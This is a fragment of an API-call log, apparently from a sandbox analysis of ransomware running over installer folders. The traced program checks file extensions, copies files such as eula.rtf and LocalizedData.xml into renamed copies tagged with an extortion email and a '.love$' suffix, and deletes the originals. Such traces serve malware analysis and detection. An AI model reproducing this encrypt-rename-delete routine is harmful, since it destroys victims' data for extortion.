lpString2="a.rtf") returned -1 [0103.423] lstrlenW (lpString=".ppt") returned 4 [0103.423] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0103.423] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0103.423] lstrlenW (lpString=".zip") returned 4 [0103.423] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0103.423] lstrlenW (lpString=".rar") returned 4 [0103.423] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0103.423] lstrlenW (lpString=".bz2") returned 4 [0103.423] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0103.423] lstrlenW (lpString=".7z") returned 3 [0103.423] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0103.423] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0103.423] lstrlenW (lpString=".dbf") returned 4 [0103.423] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0103.423] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0103.423] lstrlenW (lpString=".1cd") returned 4 [0103.423] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0103.423] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0103.423] lstrlenW (lpString=".jpg") returned 4 [0103.423] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0103.423] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0103.423] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0103.423] lstrlenW (lpString=".doc") returned 4 [0103.423] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0103.424] lstrlenW (lpString=".docx") returned 5 [0103.424] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0103.424] lstrlenW (lpString=".pdf") returned 4 [0103.424] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0103.424] lstrlenW (lpString=".xls") returned 4 [0103.424] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0103.424] lstrlenW (lpString=".xlsx") returned 5 [0103.424] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0103.424] lstrlenW (lpString=".ppt") returned 4 [0103.424] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0103.424] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0103.424] lstrlenW (lpString=".zip") returned 4 [0103.424] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0103.424] lstrlenW (lpString=".rar") returned 4 [0103.424] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0103.424] lstrlenW (lpString=".bz2") returned 4 [0103.424] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0103.424] lstrlenW (lpString=".7z") returned 3 [0103.424] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0103.424] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0103.424] lstrlenW (lpString=".dbf") returned 4 [0103.424] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0103.424] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0103.424] lstrlenW (lpString=".1cd") returned 4 [0103.424] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0103.424] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0103.424] lstrlenW (lpString=".jpg") returned 4 [0103.424] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0103.425] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0103.425] lstrlenW (lpString="LocalizedData.xml") returned 17 [0103.425] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0103.425] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x30dff14 | out: lpFileSize=0x30dff14*=60816) returned 1 [0103.425] CloseHandle (hObject=0x354) returned 1 [0103.425] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml")) returned 0x80 [0103.425] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0103.425] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0103.426] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0103.426] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0103.426] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0103.426] GetLastError () returned 0x0 [0103.426] ReadFile (in: hFile=0x354, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0xed90, lpOverlapped=0x0) returned 1 [0103.469] WriteFile (in: hFile=0x2f0, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0xeda0, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0xeda0, lpOverlapped=0x0) returned 1 [0103.472] ReadFile (in: hFile=0x354, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0x0, lpOverlapped=0x0) returned 1 [0103.472] WriteFile (in: hFile=0x2f0, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0xf6, lpOverlapped=0x0) returned 1 [0103.472] SetEndOfFile (hFile=0x2f0) returned 1 [0103.473] CloseHandle (hObject=0x2f0) returned 1 [0103.477] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0103.477] SetEndOfFile (hFile=0x354) returned 1 [0103.478] CloseHandle (hObject=0x354) returned 1 [0103.478] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x80) returned 1 [0103.478] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml")) returned 1 [0103.479] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0103.479] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0103.479] lstrlenW (lpString=".doc") returned 4 [0103.479] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0103.479] lstrlenW (lpString=".docx") returned 5 [0103.479] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0103.479] lstrlenW (lpString=".pdf") returned 4 [0103.479] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0103.479] lstrlenW (lpString=".xls") returned 4 [0103.479] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0103.479] lstrlenW (lpString=".xlsx") returned 5 [0103.479] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0103.479] lstrlenW (lpString=".ppt") returned 4 [0103.479] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0103.479] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0103.479] lstrlenW (lpString=".zip") returned 4 [0103.479] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0103.479] lstrlenW (lpString=".rar") returned 4 [0103.479] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0103.479] lstrlenW (lpString=".bz2") returned 4 [0103.479] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0103.479] lstrlenW (lpString=".7z") returned 3 [0103.479] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0103.479] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0103.479] lstrlenW (lpString=".dbf") returned 4 [0103.479] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0103.480] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0103.480] lstrlenW (lpString=".1cd") returned 4 [0103.480] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0103.480] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0103.480] lstrlenW (lpString=".jpg") returned 4 [0103.480] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0103.480] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0103.480] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0103.480] lstrlenW (lpString=".doc") returned 4 [0103.480] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0103.480] lstrlenW (lpString=".docx") returned 5 [0103.480] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0103.480] lstrlenW (lpString=".pdf") returned 4 [0103.480] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0103.480] lstrlenW (lpString=".xls") returned 4 [0103.480] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0103.480] lstrlenW (lpString=".xlsx") returned 5 [0103.480] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0103.480] lstrlenW (lpString=".ppt") returned 4 [0103.480] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0103.480] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0103.480] lstrlenW (lpString=".zip") returned 4 [0103.480] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0103.480] lstrlenW (lpString=".rar") returned 4 [0103.480] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0103.480] lstrlenW (lpString=".bz2") returned 4 [0103.480] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0103.480] lstrlenW (lpString=".7z") returned 3 [0103.480] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0103.480] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0103.480] lstrlenW (lpString=".dbf") returned 4 [0103.480] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0103.480] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0103.480] lstrlenW (lpString=".1cd") returned 4 [0103.480] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0103.480] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0103.481] lstrlenW (lpString=".jpg") returned 4 [0103.481] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0103.481] lstrcmpiW (lpString1=".rtf", lpString2=".love$") returned 1 [0103.481] lstrlenW (lpString="eula.rtf") returned 8 [0103.481] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0103.500] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x30dff14 | out: lpFileSize=0x30dff14*=3069) returned 1 [0103.501] CloseHandle (hObject=0x344) returned 1 [0103.501] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf")) returned 0x80 [0103.501] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0103.501] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0103.501] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0103.501] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0103.501] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0103.501] GetLastError () returned 0x0 [0103.502] ReadFile (in: hFile=0x344, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0xbfd, lpOverlapped=0x0) returned 1 [0103.506] WriteFile (in: hFile=0x368, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0xc00, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0xc00, lpOverlapped=0x0) returned 1 [0103.508] ReadFile (in: hFile=0x344, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0x0, lpOverlapped=0x0) returned 1 [0103.508] WriteFile (in: hFile=0x368, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0xe4, lpOverlapped=0x0) returned 1 [0103.508] SetEndOfFile (hFile=0x368) returned 1 [0103.508] CloseHandle (hObject=0x368) returned 1 [0103.509] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0103.509] SetEndOfFile (hFile=0x344) returned 1 [0103.510] CloseHandle (hObject=0x344) returned 1 [0103.510] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x80) returned 1 [0103.511] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf")) returned 1 [0103.511] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0103.511] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0103.511] lstrlenW (lpString=".doc") returned 4 [0103.511] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0103.511] lstrlenW (lpString=".docx") returned 5 [0103.511] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0103.511] lstrlenW (lpString=".pdf") returned 4 [0103.511] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0103.511] lstrlenW (lpString=".xls") returned 4 [0103.511] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0103.511] lstrlenW (lpString=".xlsx") returned 5 [0103.511] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0103.512] lstrlenW (lpString=".ppt") returned 4 [0103.512] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0103.512] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0103.512] lstrlenW (lpString=".zip") returned 4 [0103.512] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0103.512] lstrlenW (lpString=".rar") returned 4 [0103.512] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0103.512] lstrlenW (lpString=".bz2") returned 4 [0103.512] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0103.512] lstrlenW (lpString=".7z") returned 3 [0103.512] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0103.512] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0103.512] lstrlenW (lpString=".dbf") returned 4 [0103.512] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0103.512] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0103.512] lstrlenW (lpString=".1cd") returned 4 [0103.512] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0103.512] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0103.512] lstrlenW (lpString=".jpg") returned 4 [0103.512] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0103.512] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0103.512] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0103.512] lstrlenW (lpString=".doc") returned 4 [0103.512] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0103.512] lstrlenW (lpString=".docx") returned 5 [0103.512] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0103.513] lstrlenW (lpString=".pdf") returned 4 [0103.513] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0103.513] lstrlenW (lpString=".xls") returned 4 [0103.513] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0103.513] lstrlenW (lpString=".xlsx") returned 5 [0103.513] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0103.513] lstrlenW (lpString=".ppt") returned 4 [0103.513] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0103.513] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0103.513] lstrlenW (lpString=".zip") returned 4 [0103.513] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0103.513] lstrlenW (lpString=".rar") returned 4 [0103.513] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0103.513] lstrlenW (lpString=".bz2") returned 4 [0103.513] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0103.513] lstrlenW (lpString=".7z") returned 3 [0103.513] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0103.513] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0103.513] lstrlenW (lpString=".dbf") returned 4 [0103.513] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0103.513] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0103.513] lstrlenW (lpString=".1cd") returned 4 [0103.513] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0103.513] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0103.513] lstrlenW (lpString=".jpg") returned 4 [0103.513] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0103.514] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0103.514] lstrlenW (lpString="LocalizedData.xml") returned 17 [0103.514] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0103.514] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x30dff14 | out: lpFileSize=0x30dff14*=79996) returned 1 [0103.514] CloseHandle (hObject=0x344) returned 1 [0103.514] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml")) returned 0x80 [0103.514] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0103.514] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0103.515] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0103.515] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0103.515] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0103.515] GetLastError () returned 0x0 [0103.515] ReadFile (in: hFile=0x344, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0x1387c, lpOverlapped=0x0) returned 1 [0103.519] WriteFile (in: hFile=0x368, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0x13880, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0x13880, lpOverlapped=0x0) returned 1 [0103.522] ReadFile (in: hFile=0x344, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0x0, lpOverlapped=0x0) returned 1 [0103.522] WriteFile (in: hFile=0x368, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0xf6, lpOverlapped=0x0) returned 1 [0103.522] SetEndOfFile (hFile=0x368) returned 1 [0103.522] CloseHandle (hObject=0x368) returned 1 [0103.526] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0103.526] SetEndOfFile (hFile=0x344) returned 1 [0103.527] CloseHandle (hObject=0x344) returned 1 [0103.527] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x80) returned 1 [0103.528] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml")) returned 1 [0103.528] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0103.528] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0103.528] lstrlenW (lpString=".doc") returned 4 [0103.528] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0103.528] lstrlenW (lpString=".docx") returned 5 [0103.528] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0103.528] lstrlenW (lpString=".pdf") returned 4 [0103.528] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0103.528] lstrlenW (lpString=".xls") returned 4 [0103.529] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0103.529] lstrlenW (lpString=".xlsx") returned 5 [0103.529] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0103.529] lstrlenW (lpString=".ppt") returned 4 [0103.529] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0103.529] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0103.529] lstrlenW (lpString=".zip") returned 4 [0103.529] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0103.529] lstrlenW (lpString=".rar") returned 4 [0103.529] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0103.529] lstrlenW (lpString=".bz2") returned 4 [0103.529] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0103.529] lstrlenW (lpString=".7z") returned 3 [0103.529] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0103.529] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0103.529] lstrlenW (lpString=".dbf") returned 4 [0103.529] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0103.529] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0103.529] lstrlenW (lpString=".1cd") returned 4 [0103.529] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0103.529] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0103.529] lstrlenW (lpString=".jpg") returned 4 [0103.529] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0103.529] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0103.529] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0103.529] lstrlenW (lpString=".doc") returned 4 [0103.529] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0103.530] lstrlenW (lpString=".docx") returned 5 [0103.530] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0103.530] lstrlenW (lpString=".pdf") returned 4 [0103.530] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0103.530] lstrlenW (lpString=".xls") returned 4 [0103.530] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0103.530] lstrlenW (lpString=".xlsx") returned 5 [0103.530] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0103.530] lstrlenW (lpString=".ppt") returned 4 [0103.530] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0103.530] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0103.530] lstrlenW (lpString=".zip") returned 4 [0103.530] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0103.530] lstrlenW (lpString=".rar") returned 4 [0103.530] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0103.530] lstrlenW (lpString=".bz2") returned 4 [0103.530] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0103.530] lstrlenW (lpString=".7z") returned 3 [0103.530] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0103.530] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 